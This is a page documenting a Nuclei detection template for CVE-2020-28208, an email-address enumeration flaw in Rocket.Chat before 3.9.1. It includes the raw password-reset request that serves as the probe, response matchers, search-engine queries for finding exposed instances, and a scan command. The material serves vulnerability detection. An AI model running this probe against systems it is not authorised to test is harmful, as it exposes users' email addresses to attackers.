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Rocket.Chat <3.9.1 - Information Disclosure

ID: CVE-2020-28208

Severity: medium

Author: pdteam

Tags: cve,cve2020,packetstorm,rocketchat,rocket.chat

Description

Section titled “Description”

Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-28208


info:
  name: Rocket.Chat <3.9.1 - Information Disclosure
  author: pdteam
  severity: medium
  description: Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    The vulnerability can lead to the exposure of sensitive information, such as user credentials or private conversations, potentially compromising the confidentiality of the system.
  remediation: |
    Upgrade Rocket.Chat to version 3.9.1 or later to mitigate the information disclosure vulnerability (CVE-2020-28208).
  reference:
    - https://trovent.io/security-advisory-2010-01
    - https://trovent.github.io/security-advisories/TRSA-2010-01/TRSA-2010-01.txt
    - http://www.openwall.com/lists/oss-security/2021/01/07/1
    - http://packetstormsecurity.com/files/160845/Rocket.Chat-3.7.1-Email-Address-Enumeration.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28208
    cwe-id: CWE-203
    epss-score: 0.01197
    epss-percentile: 0.84869
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query: http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve,cve2020,packetstorm,rocketchat,rocket.chat


http:
  - raw:
      - |
        POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json


        {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"[email protected]\"],\"id\":\"3\"}"}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result\":false'
          - '"success":true'
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022023423677cb24e814f02b47e7ea6052f5f5b9531d59d7229085cb78849fedcbaa022100f7fa9512fc2c191b45b1e32424d9511312f9f7aa5f96f0fd0561778905ef64d6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-28208.yaml"

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